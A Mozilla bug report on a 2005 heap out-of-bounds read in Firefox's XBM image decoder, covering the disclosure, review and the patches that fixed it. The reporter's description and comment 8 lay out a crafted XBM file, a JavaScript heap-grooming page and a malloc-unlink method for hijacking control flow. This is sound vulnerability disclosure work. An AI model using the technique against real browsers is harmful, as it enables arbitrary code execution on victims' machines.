Last Comment Bug 300936 - ABR in XBM image leading to arbitrary code execution
: ABR in XBM image leading to arbitrary code execution
Status: RESOLVED FIXED
[sg:fix]
: fixed-aviary1.0.7, fixed1.7.12
Product: Core
Classification: Components
Component: ImageLib (show other bugs)
: Trunk
: All All
: P1 critical (vote)
: mozilla1.8beta4
Assigned To: Christian :Biesinger (don't email me, ping me on IRC)
:
: Milan Sreckovic [:milan]
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2005-07-15 11:08 PDT by jackerror
Modified: 2006-03-12 18:42 PST (History)
11 users (show)
chase: blocking1.7.10-
dbaron: blocking1.7.12+
chase: blocking‑aviary1.0.6-
mtschrep: blocking‑aviary1.0.7+
asa: blocking1.8b5+
dveditz: blocking‑aviary1.5+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
reporter's testcase (254 bytes, image/x-xbitmap)
2005-07-15 15:37 PDT, Christian :Biesinger (don't email me, ping me on IRC)
no flags Details
patch (1.91 KB, patch)
2005-07-15 15:40 PDT, Christian :Biesinger (don't email me, ping me on IRC)
dveditz: superreview-
Details | Diff | Splinter Review
patch v2 (5.69 KB, patch)
2005-07-23 12:36 PDT, Christian :Biesinger (don't email me, ping me on IRC)
tor: review+
dveditz: superreview+
dbaron: approval‑aviary1.0.7+
dbaron: approval1.7.12+
benjamin: approval1.8b4+
Details | Diff | Splinter Review

Description jackerror 2005-07-15 11:08:13 PDT
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050712 Firefox/1.0.4
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050712 Firefox/1.0.4

mozilla/modules/libpr0n/decoders/xbm/nsXBMDecoder.cpp:

***

nsresult nsXBMDecoder::ProcessData(const char* aData, PRUint32 aCount)
{
[...]
        // Check for X11 flavor
        if (strstr(mPos, " char "))
            mIsX10 = PR_FALSE;
        // Check for X10 flavor
        else if (strstr(mPos, " short "))
            mIsX10 = PR_TRUE;
        else
            // Neither identifier found.  Return for now, waiting for more data.
            return NS_OK; 
[...]
    if (mState == RECV_DATA)
    {
        PRUint32 bpr;
        mFrame->GetImageBytesPerRow(&bpr);
        PRUint32 abpr;
        mFrame->GetAlphaBytesPerRow(&abpr);
        PRBool hiByte = PR_TRUE;

        do
        {
            PRUint32 pixel = strtoul(mPos, &endPtr, 0);
[...]
[1]         while (*endPtr && isspace(*endPtr))
                endPtr++;       // skip whitespace looking for comma
            if (*endPtr && (*endPtr != ','))
            {
[5]             *endPtr = '\0';
                mState = RECV_DONE;  // strange character (or ending '}')
            }
                (...)
            if (!mIsX10 || !hiByte)
[2]             mPos = endPtr; // go to next value only when done with this one
        [...]
[3]         mPos++;
[4]     } while (*mPos && (mState == RECV_DATA));

***

The ProcessData function of the nsXBMDecoder class parse the data of an XBM's
format image.
The bug happens during the re-processing of this image format within the
libpr0n, a module activated by default :

At [1] endPtr is incremented until the null terminating character if it's
fill by ' ' space.
At [2] mPos is set to endPtr if mIsX10 and hiByte are null. There are option
taken from the XBM format's image.
At [3], mPos is incremented without checking if *mPos is null.
Thus the boucle at [4] can not stop depending on the state of the heap.

I found it is possible to craft such an XBM image to put the heap layout in
a predictable state and exploit the bug reliably.

An attacker could execute arbitrary code on mozilla, firefox if a web page is
viewed or even within an e-mail with a IFRAME tag.


Reproducible: Always

Steps to Reproduce:
#0  nsXBMDecoder::ProcessData (this=0x870b2e0, 
    aData=0x81c3e44 "#define gopher_binary_width 20\n#define
gopher_binary_height 23\nstatic char gopher_binary_bits[] = {\n   0x00, 0x00,
0x00, 0x00
, 0x00, 0x00, 0x00, 0
x00, 0x00, 0x00, 0x00, 0x00,\n   0xff, 0x3f, 0x00, 0x01"..., aCount=254) at
nsXBMDecoder.cpp:142
#1  0x41fc11d9 in nsXBMDecoder::ReadSegCb (aIn=0x8680e2c, aClosure=0x870b2e0, 
    aFromRawSegment=0x81c3e44 "#define gopher_binary_width 20\n#define
gopher_binary_height 23\nstatic char gopher_binary_bits[] = {\n   0x00, 0x00, 
0x00, 0x00, 0x00, 0x0
0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n   0xff, 0x3f, 0x00, 0x01"...,
aToOffset=0, aCount=254, aWriteCount=0xbfffe844) at nsXBMDecoder.cpp:129
#2  0x401942a2 in nsPipeInputStream::ReadSegments (this=0x8680e2c, 
    writer=0x41fc11a0 <nsXBMDecoder::ReadSegCb(nsIInputStream*, void*, char
const*, unsigned int, unsigned int, unsigned int*)>, closure=0x870b2e0, c
ount=254, 
    readCount=0xbfffe8c8) at nsPipe3.cpp:761
#3  0x41fc1223 in nsXBMDecoder::WriteFrom (this=0x870b2e0, aInStr=0x8680e2c,
aCount=254, aRetval=0xbfffe8c8) at nsXBMDecoder.cpp:134
#4  0x41fadc8f in imgRequest::OnDataAvailable (this=0x87e60d8,
aRequest=0x8798458, ctxt=0x0, inStr=0x8680e2c, sourceOffset=0, count=254) at
imgReques
t.cpp:796
#5  0x41fa5f50 in ProxyListener::OnDataAvailable (this=0x8285b98,
aRequest=0x8798458, ctxt=0x0, inStr=0x8680e2c, sourceOffset=0, count=254) at imgLoa
der.cpp:862
#6  0x41ca0b8b in nsMediaDocumentStreamListener::OnDataAvailable
(this=0x871a678, request=0x8798458, ctxt=0x0, inStr=0x8680e2c, sourceOffset=0, count
=254)
    at nsMediaDocument.cpp:114
#7  0x415e7688 in nsDocumentOpenInfo::OnDataAvailable (this=0x873e740,
request=0x8798458, aCtxt=0x0, inStr=0x8680e2c, sourceOffset=0, count=254) at n
sURILoader.cpp:344
#8  0x40bb6933 in nsFileChannel::OnDataAvailable (this=0x8798458, req=0x8748a20,
ctx=0x0, stream=0x8680e2c, offset=0, count=254) at nsFileChannel.cpp
:594
#9  0x40b2d258 in nsInputStreamPump::OnStateTransfer (this=0x8748a20) at
nsInputStreamPump.cpp:433
#10 0x40b2ce88 in nsInputStreamPump::OnInputStreamReady (this=0x8748a20,
stream=0x8680e2c) at nsInputStreamPump.cpp:336
#11 0x401983f7 in nsInputStreamReadyEvent::EventHandler (plevent=0x86cadf4) at
nsStreamUtils.cpp:118
#12 0x401bbf9b in PL_HandleEvent (self=0x86cadf4) at plevent.c:673
#13 0x401bbe50 in PL_ProcessPendingEvents (self=0x80d0fd0) at plevent.c:608
#14 0x401bf14a in nsEventQueueImpl::ProcessPendingEvents (this=0x80d0ad8) at
nsEventQueue.cpp:398
#15 0x409591d0 in event_processor_callback (data=0x80d0ad8, source=4,
condition=GDK_INPUT_READ) at nsAppShell.cpp:186
#16 0x40958b7d in our_gdk_io_invoke (source=0x8211540, condition=G_IO_IN,
data=0x8210f50) at nsAppShell.cpp:71
#17 0x404284c6 in g_io_add_watch () from /usr/lib/libglib-1.2.so.0
#18 0x40429dd8 in g_get_current_time () from /usr/lib/libglib-1.2.so.0
#19 0x4042a2c1 in g_get_current_time () from /usr/lib/libglib-1.2.so.0
#20 0x4042a5e5 in g_main_run () from /usr/lib/libglib-1.2.so.0
#21 0x4033525f in gtk_main () from /usr/lib/libgtk-1.2.so.0
#22 0x4095961a in nsAppShell::Run (this=0x80d6c48) at nsAppShell.cpp:317
#23 0x408cf8ea in nsAppShellService::Run (this=0x80d56e0) at
nsAppShellService.cpp:494
#24 0x0805e5cd in xre_main (argc=1, argv=0xbffff484, aAppData=0x807500c) at
nsAppRunner.cpp:1907
#25 0x0805851c in main (argc=1, argv=0xbffff484) at nsBrowserApp.cpp:58

------------------

#define gopher_binary_width 20
#define gopher_binary_height 23
static char gopher_binary_bits[] = {
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0xff, 0x3f, 0x00, 0x01, 0x60, 0x00, 0x01, 0xa0, 0x00, 0x71, 0x26, 0x01      EOF

As you can see, the image end with a space character, when the program assume
the image to be clean and contain end tag.
Thus, if one is able to control the heap layout, it is possible to execute
arbitrary code.

Here is some details on how to exploit the bug on Linux :

- Use a javascript and allocate a lot of 'local' buffer. I found JC_GC is called
at the end of the javascript parsing, before any image are loaded, and will free
all 'useless' (because local) buffer.
Thus, it is easy to 1) Allocate in some global array a lot of *little bufer* to
begin, so we have the heap layout in a predictable state (no hole).
2) Allocate a few big buffer with isdigit()-valid character. Because there is no
more heap hole, the 'top chunk' of the heap is expended.
3) When JC_GC return, some memory have been freed, and thus, following
allocation will fall in these new heap hole.
4) When the image is processed, the overflowed buffer will be followed by
isdigit-character (this is junk in the prev_size field of the next struct
malloc_chunk). Then a '\0' will be written on the LSB of the 'next size' field
of the next struct malloc_chunk on the heap.
Because it is easily possible to inject controlled character on the heap
(actually that could have been done in the "few isdigit()-valid buffer"), it is
possible to store fake information on the heap, and tricks malloc()/free()/etc
to parse them.
Still in the scheme of Doug Lea malloc (linux), this will end by triggering the
macro UNLINK(), which basically insert a heap chunk in a linked list, thus,
writing a controlled pointer of us, to a controlled address of us.
One can simply overwrite any function pointer, like GOT entry, saved %eip
pointer on the stack, and hijack it to point to some injected shellcode.

Exploitation is possible on *BSD / Windows aswell.
Actual Results:  
Ability to execute whatever code you want.

Expected Results:  
Stop me.
Comment 1 Christian :Biesinger (don't email me, ping me on IRC) 2005-07-15 15:37:05 PDT
Created attachment 189480 [details]
reporter's testcase

the testcase that triggers the ABR
Comment 2 Christian :Biesinger (don't email me, ping me on IRC) 2005-07-15 15:40:08 PDT
Created attachment 189481 [details] [diff] [review]
patch

this should fix it... makes sure to set state to DONE on unexpected EOF, and
adds a check to only increase mPos if it's a comma.
Comment 3 chris hofmann 2005-07-16 11:23:26 PDT
we are trying to get 1.0.6 out as soon as possible to get other security fixes
in the hands of international and seamonkey users, and do the minimal to repair
some api bustage.  we think we have candidate builds for 1.0.6 this morning.

recommend minus for 1.0.6 and plus for 1.0.7, but other drivers will comment.
Comment 4 Chase Phillips 2005-07-16 12:35:34 PDT
Agreed on minus for 1.0.6 and plus for 1.0.7.  The API bustage has stalled full
deployment of 1.0.5 and its security fixes.
Comment 5 Hixie (not reading bugmail) 2005-07-17 08:44:22 PDT
This is a pretty critical bug, and we have a safe low-risk patch, I'd strongly
recommend taking it for 1.0.6.
Comment 6 Chase Phillips 2005-07-18 11:34:55 PDT
Minusing for 1.7.10/aviary1.0.6, plusing for 1.7.11/aviary1.0.7.
Comment 7 Daniel Veditz [:dveditz] 2005-07-19 18:45:41 PDT
I wasn't able to follow the exploit after you write '\0' outside the heap buffer
(middle of step 4). At that point mState is set to RECV_DONE and we're not going
to loop anymore. How do you turn a single null byte overwrite into a jump into
your exploit code?

What have I missed?
Comment 8 jackerror 2005-07-20 09:55:15 PDT
> How do you turn a single null byte overwrite into a jump into
> your exploit code ?
> 
> What have I missed?

[0]         PRUint32 pixel = strtoul(mPos, &endPtr, 0);
[1]         while (*endPtr && isspace(*endPtr))
                endPtr++;       // skip whitespace looking for comma
            if (*endPtr && (*endPtr != ','))
            {
[2]             *endPtr = '\0';
                mState = RECV_DONE;  // strange character (or ending '}')
            }

Check the code, at [0] mPos is already out of its bound.
That mean strtoul will set endPtr to an out of bound pointer aswell.
(skipping any isdigit() heap character).
Then at [1] any isspace() character are skipped and at [2] we have a null byte
corruption.
mState is set to RECV_DONE and the function will return without any new memory
overwrite, however this one byte corruption if far enough for us to run
arbitrary code in a reliable way.

I guess the following URL will interest you, it describe with full details the
internal algorithm of Doug Lea malloc as use in Linux. (few changes were
introduced starting at glibc 2.3.2 but this is still exploitable. Well, even
better).
http://www.phrack.org/phrack/57/p57-0x08

For the present case, there is many possibility as I explained it in my first post.
One of them is the following :

The HTML page should look something like this :

-- snippet --
<html>
<body>
<script>
global_array = new Array (100001);
for (i = 0; i != 100000; i ++)
   global_array [i] = "A" + i;
var local_array = new Array (50000);
for (j = 0; j != 42000; j ++)
    local_array [j] = "0123456789    " + j;
delete (local_array);
</script>
<img src="vulnerable.xbm">
</body>
</html>
-- snippet --

The JavaScript code will be parsed before anything else, and get interpreted,
which mean, the 100000 global_array allocation will create a *lot* of buffer
allocation, and fall in any of potentiel free heap hole.
Thus, after this we have the heap layout under control (no free chunk), and any
others allocation will fall in the "top most chunk", i.e. at the end of the heap.

Then, there is a lot of little allocation for the local_array elements.
All these allocation will fall at the end of the heap, and expend it if necessary.
Then, local_array is free.
When the Script will return, we will have a call to JC_GC when destructing some
of the internal stuff (Scope/Object), and all the elements of local_array will
be *really free* (by the libc free() function).

The top most chunk will be un-expended, and now we have the heap who look like
this :

[arena_t]<-- only allocated buffer -->[some global_array allocated buffer][top
chunk]

(basically)
The top chunk was previously expended and is not zero-filled, by full of
isdigit() and isspace() character.

Now, the .xbm image is processed, the buffer allocated for it fall in the top
chunk, followed by a few allocation of internal Class Img data.

Immediatly after the end of the Image, we have a Doug Lea malloc chunk who look
like this :

struct malloc_chunk
{
   unsigned int prev_size;
   unsigned int size;
   struct malloc_chunk * fd; /* forward pointer for linked list of free block */
   struct malloc_chunk * bk; /* backward pointer for linked list of free block */
};

As you guessed it, the FD and BK field are usefull only if the described heap
memory block is free.
Each heap block has it's own struct malloc_chunk, just before the data.
So, we are going to corrupt with a null byte the struct malloc_chunk of the
*next* heap buffer.

The Size elements hold the size of the described heap block and a few flags, like :
#define PREV_INUSE 0x1
#define IS_MMAPED 0x2
#define NON_MAIN_ARENA 0x3

If the size field got the PREV_INUSE bit set, this means the previous chunk is
not free. (IS_MMAPED means on the mmap(), only happens if the buffer is > 128ko,
NON_MAIN_ARENA means we are on another per-thread heap).

When a buffer is free(), his struct malloc_chunk is parsed and if the next
buffer is free aswell, they will be coalesced, same happens with the previous
buffer.
free() check if :

((malloc_chunk + malloc_chunk->size) + (struct malloc_chunk *)(malloc_chunk +
malloc_chunk->size)->size) & PREV_INUSE

to know if the next buffer is allocated.
To know if the previous buffer is allocaed, this is easy, it check it's ->size
field for a PREV_INUSE flag.

Now, in the case a free buffer is found and it need to merge with it, it first
need to remove the free buffer from the free buffer linked list, since it's
going to become a larger free buffer, and they are sorted by size in the binlist
(hash table of free buffer).

Remember, the FD and BK size are the next and prev pointer of this list. To
remove a free chunk of a linked list, one just has to do :

next->prev = prev;
prev->next = next;

This is exactly what doest the UNLINK() macro :

#define unlink(P, BK, FD)                                                     \
{                                                                             \
  BK = P->bk;                                                                 \
  FD = P->fd;                                                                 \
  FD->bk = BK;                                                                \
  BK->fd = FD;                                                                \
}                                                                             \

All this theory about Doug Lea allocator is needed to understand how to exploit
a single byte null corruption.
But this is not all.

Since the FD and BK pointer are useless to describe an allocated chunk, they are
simply not inserted if the block is allocated (thus reducing it to its
prev_size/size field).

And well, if the ->size hold the PREV_INUSE bit, the previous chunk is
allocated, so we do not need the prev_size field since even if the buffer is
free, we won't need to coalesce with the previous chunk.
So, the prev_size field is use to store data.

A free chunk need all of the 4 field (prev_size/size/fd/bk), an allocated chunk
need only prev_size/size and even only size if the PREV_INUSE bit is present.

Clear ?

We are going to overwrite the struct malloc_chunk of the buffer rigth after the
image one.
Since it is allocated, we can be sure it will have the PREV_INUSE bits sets, so,
the prev_size bit won't be used, and probably (depending on the size of our
corrupted image), the prev_size field will simply be part of our data.
By crafting a specially sized image, we can be sure to have, near the null-byte
terminator character, 2 or 3 bytes of heap junk, within the prev_size field of
the next struct_malloc structure.
These junk bytes are under control, thanks to the javascript code, so we are
going to overwrite the first byte of the size field by a '\0' (or maybe the
second if the first one is either isdigit() or isspace() valid, etc).

Now the exploitation is pretty easy.
When our chunk will be free, it will check if the next buffer is free or not,
trusting it's size field which is corrupted.
This corrupted size field will redirect it to a fake struct malloc_chunk of us,
inserted thanks to the javascript one again, and tricks it into believing it is
free.
The fake free chunk will be removed from the linked list, with a FD and BK field
under control (they are the 8 first bytes of the allocated next buffer), which
basically allow us to write a controled address of our to another controled
address, by overwriting the GOT, a saved pointer counter on the stack, or any
others function pointer and redirecting it to a shellcode we inserted on the
heap using a 100ko memleak from javascript (why not in the global_array data ?),
we can execute arbitrary code.

That can look pretty obscure if you are not familiar with heap overflow
exploitation, but believe me, all of this is pretty simple, and all is under
control if you build the right javascript code.

Because at the end, it all depend on your ability to put the heap layout in a
predictable and reliable state, which is doable in a reliable way.

With a more complex attack scenario, one could be able to create a targetless
and silent exploit.

Mail me if have question.
Comment 9 Daniel Veditz [:dveditz] 2005-07-21 11:37:08 PDT
Comment on attachment 189481 [details] [diff] [review]
patch

As long as we're shedding brain cells on this file it looks like we've got
memory problems similar to those we recently fixed in the .ico and .bmp
decoders. The mRow and mAlphaRow allocations are not checked for success --
should failures here set mState to RECV_DONE and bail like a failure to
allocate mBuf?

Actually I'm quite confused about mRow. It's calloc'd and then passed to
mFrame->SetImageData() which copies it, but I don't see where anything gets put
into it. gfxImageFrame::SetImageData() handles a null input so a calloc failure
here is OK... but if in fact the point is simply to copy a run of nulls we
could pass null instead of mRow and SetImageData() would do the right thing.

mAlphaRow does get dereferenced without checking.

sr- in favor of a patch that incorporates fixes for these issues.

>-            if (*endPtr && (*endPtr != ',')) {
>+
>+            if (!*endPtr) {
>+                // Malformed file (unexpected EOF)
>+                mState = RECV_DONE;

This doesn't look right: maybe we're just at the end of the chunk and need to
wait for more data before the comma comes in. Shouldn't you just return
instead? In fact, if we did just return the whole exploit problem is solved
right here.

How does this work when we return waiting for more data and there's no more
data? Do we just render the bits of the frame we've already set? Is it an
error?

>-            mPos++;
>+            if (*mPos == ',')
>+                mPos++;

Is this equivalent? If (mIsX10 && hiByte) mPos is not set to endPtr, it's still
on the character after the previous comma. That doesn't sound right in the old
code. At least this way we'll scan the same value twice, the old way we might
be scanning starting at one byte into the first number.

Do we have x10 format testcases?
Comment 10 Christian :Biesinger (don't email me, ping me on IRC) 2005-07-23 09:48:30 PDT
X10 image support was added in bug 251260, but it looks like that bug has no
testcases :-/

(In reply to comment #9)
> As long as we're shedding brain cells on this file it looks like we've got
> memory problems similar to those we recently fixed in the .ico and .bmp
> decoders. The mRow and mAlphaRow allocations are not checked for success --
> should failures here set mState to RECV_DONE and bail like a failure to
> allocate mBuf?

Hmm, yeah, that's true.

> Actually I'm quite confused about mRow. It's calloc'd and then passed to
> mFrame->SetImageData() which copies it, but I don't see where anything gets put
> into it.

Yes, the XBM decoder works by always setting black lines which are made
transparent in some places.

> gfxImageFrame::SetImageData() handles a null input so a calloc failure
> here is OK... but if in fact the point is simply to copy a run of nulls we
> could pass null instead of mRow and SetImageData() would do the right thing.

Interesting... I wasn't aware of that.

> This doesn't look right: maybe we're just at the end of the chunk and need to
> wait for more data before the comma comes in. Shouldn't you just return
> instead? In fact, if we did just return the whole exploit problem is solved
> right here.

Sigh, you're right. Yes, that's what should be done.

> How does this work when we return waiting for more data and there's no more
> data? Do we just render the bits of the frame we've already set? Is it an
> error?

I think we render what we have. Neither Flush nor Close return an error in those
cases.
Comment 11 Christian :Biesinger (don't email me, ping me on IRC) 2005-07-23 12:36:53 PDT
Created attachment 190265 [details] [diff] [review]
patch v2

OK, how about this? (It also indents a block correctly)
Comment 12 Daniel Veditz [:dveditz] 2005-07-24 13:40:17 PDT
> > gfxImageFrame::SetImageData() handles a null input
> Interesting... I wasn't aware of that.

I started to have second thoughts since this is not advertized in the IDL, but
the GIF decoder relies on it too (behavior added in bug 201568). Should be safe;
I'd be a little more comfortable with a comment in gfx/idl/gfxIImageFrame.idl
Comment 13 Daniel Veditz [:dveditz] 2005-07-24 13:46:51 PDT
Comment on attachment 190265 [details] [diff] [review]
patch v2

Thanks!
sr=dveditz
Comment 14 Daniel Veditz [:dveditz] 2005-07-24 14:10:32 PDT
We don't want to land this fix on the stable branches until we've got all our
fixes together and are near the release -- otherwise the patches are easily
spotted on bonsai. If this is landed on the trunk before then (such as for
1.8b4) please use an innocuous (misleading, incomplete) checkin comment like
"null check alpha buffer malloc" or something along those lines. Include the bug
number though so future maintainers can follow back to the real reasons.
Comment 15 Christian :Biesinger (don't email me, ping me on IRC) 2005-07-25 14:16:56 PDT
I used the summary:
"bug 300936 null check allocations, and remove a useless alloc. Also, indent a
block correctly. r=tor sr=dveditz a=bsmedberg"

fixed on trunk

Checking in modules/libpr0n/decoders/xbm/nsXBMDecoder.cpp;
/cvsroot/mozilla/modules/libpr0n/decoders/xbm/nsXBMDecoder.cpp,v  <-- 
nsXBMDecoder.cpp
new revision: 1.17; previous revision: 1.16
done
Checking in modules/libpr0n/decoders/xbm/nsXBMDecoder.h;
/cvsroot/mozilla/modules/libpr0n/decoders/xbm/nsXBMDecoder.h,v  <--  nsXBMDecoder.h
new revision: 1.7; previous revision: 1.6
done
Comment 16 David Baron :dbaron: ⌚️UTC-10 2005-09-12 18:03:30 PDT
Checked in to MOZILLA_1_7_BRANCH and AVIARY_1_0_1_20050124_BRANCH after a little
merging (needed because an nsRect changed to an nsIntRect in the reindented block).
Comment 17 David Baron :dbaron: ⌚️UTC-10 2005-09-12 19:13:22 PDT
Additional merging needed to compile:

-            NS_ASSERTION(mState != RECV_DATA || *mPos == ',' ||
-                         (mIsX10 && hiByte),
+            NS_ASSERTION(mState != RECV_DATA || *mPos == ',',
Comment 18 Mike Schroepfer 2005-09-19 18:25:42 PDT
Biesi can you do a final verification?
Comment 19 Christian :Biesinger (don't email me, ping me on IRC) 2005-09-20 06:01:47 PDT
I only have trunk trees, so I can't do any branch verifications; does a trunk
verification suffice for you?

Note You need to log in before you can comment on or make changes to this bug.